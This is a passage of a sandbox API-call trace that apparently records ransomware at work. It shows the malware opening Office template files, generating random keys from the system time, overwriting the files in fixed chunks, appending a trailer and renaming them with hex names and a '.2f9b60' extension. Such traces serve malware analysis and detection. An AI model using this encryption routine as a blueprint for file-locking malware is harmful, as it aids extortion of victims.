[0219.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267da0 [0219.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267da0) returned 1 [0219.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267da0 [0219.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0219.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0219.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0219.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0219.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f2f0 [0219.335] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="e5") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="19") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="f7") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="75") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="06") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="4b") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="73") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="40") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="95") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="05") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="77") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="17") returned 2 [0219.335] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="34") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="98") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="3a") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f31c, _Format="%c%c" | out: _Dest="47") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f31e, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f320, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.336] sprintf (in: _Dest=0x1cd9f322, _Format="%c%c" | out: _Dest="ec") returned 2 [0219.336] RtlInitAnsiString (in: DestinationString=0x1d42f9a8, SourceString="e519fff75b75ff064bcb5b734095d405771734b2983a476d0aec" | out: DestinationString="e519fff75b75ff064bcb5b734095d405771734b2983a476d0aec") [0219.336] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d42f978, SourceString="e519fff75b75ff064bcb5b734095d405771734b2983a476d0aec", AllocateDestinationString=1 | out: DestinationString="e519fff75b75ff064bcb5b734095d405771734b2983a476d0aec") returned 0x0 [0219.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d970 [0219.336] wcscat (in: _Dest=0x431cae00, _Source="e519fff75b75f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f" [0219.337] wcscat (in: _Dest=0x431cae00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f.2f9b60" [0219.337] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f.2f9b60", NtPathName=0x1d42f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\e519fff75b75f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43111560 Thread: id = 2300 os_tid = 0x1c54 [0148.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx")) returned 0x20 [0148.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx", dwFileAttributes=0x20) returned 1 [0148.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b24 [0148.712] GetFileSizeEx (in: hFile=0x1b24, lpFileSize=0x1d7af980 | out: lpFileSize=0x1d7af980*=116216) returned 1 [0148.712] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x1c5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.712] ReadFile (in: hFile=0x1b24, lpBuffer=0x1d7af900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d7af948, lpOverlapped=0x0 | out: lpBuffer=0x1d7af900*, lpNumberOfBytesRead=0x1d7af948*=0x4, lpOverlapped=0x0) returned 1 [0148.714] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0148.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0148.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0148.715] NtQuerySystemTime (in: CurrentTime=0x1d7af840 | out: CurrentTime=0x1d7af840*=132462177539482000) returned 0x0 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x36b98458 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x695b10a5 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x2cdfb8a6 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x55bde711 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x74016ca7 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x65eaa282 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x8220675 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x69a8e68f [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x4729c634 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x1dfc7f48 [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x50812b1c [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0xd3a08db [0148.715] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x26b84a0b [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x653420b6 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x16193d8 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x7584c5bd [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x4cdbf54c [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x4d007dc2 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x12e8c932 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x45d484fb [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x3e4b3fbe [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x46ebf61a [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x362fe7d7 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x20acbc84 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x6650f1ec [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x1bf85d76 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x5a9e9b5e [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x3ea37e60 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x3734331f [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x55809291 [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x5ddf0efd [0148.716] RtlRandomEx (in: Seed=0x1d7af830 | out: Seed=0x1d7af830) returned 0x5e10b7c3 [0148.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0148.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264320 [0148.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0148.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0148.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c4990 [0148.730] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.731] ReadFile (in: hFile=0x1b24, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d7af8a0, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x1d7af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.737] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0148.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0148.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b9560 [0148.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0148.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0148.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0148.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.739] WriteFile (hFile=0x1b24, lpBuffer=0x201b9560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d7af8a0, lpOverlapped=0x0) [0192.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0192.599] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.599] ReadFile (in: hFile=0x1b24, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d7af8a0, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x1d7af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.628] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19400 [0192.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6820 [0192.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0192.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19020) returned 1 [0192.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42afced0 [0192.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0192.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0192.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0192.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6820) returned 1 [0192.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19400) returned 1 [0192.632] WriteFile (in: hFile=0x1b24, lpBuffer=0x42afced0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d7af8a0, lpOverlapped=0x0 | out: lpBuffer=0x42afced0*, lpNumberOfBytesWritten=0x1d7af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42afced0) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x189f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.723] ReadFile (in: hFile=0x1b24, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d7af8a0, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x1d7af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.744] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x189f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0204.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0204.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0204.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0204.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0204.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0204.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0204.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0204.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0204.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0204.748] WriteFile (in: hFile=0x1b24, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d7af8a0, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x1d7af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0214.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104fe0 [0214.899] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.899] WriteFile (in: hFile=0x1b24, lpBuffer=0x430bcb40*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x1d7af950, lpOverlapped=0x0 | out: lpBuffer=0x430bcb40*, lpNumberOfBytesWritten=0x1d7af950*=0x152, lpOverlapped=0x0) returned 1 [0219.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0219.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0219.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0219.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0219.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b90 [0219.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b90) returned 1 [0219.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82be50 [0219.212] sprintf (in: _Dest=0x1b82be50, _Format="%c%c" | out: _Dest="f5") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be52, _Format="%c%c" | out: _Dest="59") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be54, _Format="%c%c" | out: _Dest="f0") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be56, _Format="%c%c" | out: _Dest="7a") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be58, _Format="%c%c" | out: _Dest="21") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be5a, _Format="%c%c" | out: _Dest="a1") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be5c, _Format="%c%c" | out: _Dest="6f") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be5e, _Format="%c%c" | out: _Dest="e9") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be60, _Format="%c%c" | out: _Dest="18") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be62, _Format="%c%c" | out: _Dest="39") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be64, _Format="%c%c" | out: _Dest="e7") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be66, _Format="%c%c" | out: _Dest="34") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be68, _Format="%c%c" | out: _Dest="26") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be6a, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be6c, _Format="%c%c" | out: _Dest="6f") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be6e, _Format="%c%c" | out: _Dest="c3") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be70, _Format="%c%c" | out: _Dest="bf") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be72, _Format="%c%c" | out: _Dest="b7") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be74, _Format="%c%c" | out: _Dest="e9") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be76, _Format="%c%c" | out: _Dest="84") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be78, _Format="%c%c" | out: _Dest="38") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be7a, _Format="%c%c" | out: _Dest="db") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be7c, _Format="%c%c" | out: _Dest="ee") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be7e, _Format="%c%c" | out: _Dest="3d") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be80, _Format="%c%c" | out: _Dest="38") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be82, _Format="%c%c" | out: _Dest="54") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be84, _Format="%c%c" | out: _Dest="d9") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be86, _Format="%c%c" | out: _Dest="7b") returned 2 [0219.212] sprintf (in: _Dest=0x1b82be88, _Format="%c%c" | out: _Dest="e4") returned 2 [0219.213] sprintf (in: _Dest=0x1b82be8a, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.213] sprintf (in: _Dest=0x1b82be8c, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.213] sprintf (in: _Dest=0x1b82be8e, _Format="%c%c" | out: _Dest="38") returned 2 [0219.213] RtlInitAnsiString (in: DestinationString=0x1d7af9c8, SourceString="f559f07a21a16fe91839e734261f6fc3bfb7e98438dbee3d3854d97be44ecb38" | out: DestinationString="f559f07a21a16fe91839e734261f6fc3bfb7e98438dbee3d3854d97be44ecb38") [0219.213] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d7af998, SourceString="f559f07a21a16fe91839e734261f6fc3bfb7e98438dbee3d3854d97be44ecb38", AllocateDestinationString=1 | out: DestinationString="f559f07a21a16fe91839e734261f6fc3bfb7e98438dbee3d3854d97be44ecb38") returned 0x0 [0219.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86bca0 [0219.213] wcscat (in: _Dest=0x431caa40, _Source="f559f07a21a16fe9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9" [0219.213] wcscat (in: _Dest=0x431caa40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9.2f9b60" [0219.213] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9.2f9b60", NtPathName=0x1d7af970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\f559f07a21a16fe9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x43110f60 Thread: id = 2301 os_tid = 0x1c58 [0148.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx")) returned 0x20 [0148.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx", dwFileAttributes=0x20) returned 1 [0148.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ff0 [0148.735] GetFileSizeEx (in: hFile=0x1ff0, lpFileSize=0x1d18f860 | out: lpFileSize=0x1d18f860*=80038) returned 1 [0148.735] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0x138a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.735] ReadFile (in: hFile=0x1ff0, lpBuffer=0x1d18f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d18f828, lpOverlapped=0x0 | out: lpBuffer=0x1d18f7e0*, lpNumberOfBytesRead=0x1d18f828*=0x4, lpOverlapped=0x0) returned 1 [0148.740] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0148.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264740 [0148.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0148.740] NtQuerySystemTime (in: CurrentTime=0x1d18f720 | out: CurrentTime=0x1d18f720*=132462177539638000) returned 0x0 [0148.740] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x36808431 [0148.740] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x75c4d8ad [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x466278ee [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x1ea4d654 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x2d0a203 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x62c562da [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0xcacbd95 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x53aadc78 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x5d6c7663 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x77cf7086 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x1d7fd9e0 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0xb80714e [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x4db0b98e [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x796fecfa [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x4d549b8d [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x5f14e333 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x470acaf8 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x5c2019d9 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x124e3188 [0148.741] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x1e54678e [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x4e47d45c [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x90fa70d [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x637a9437 [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x27600675 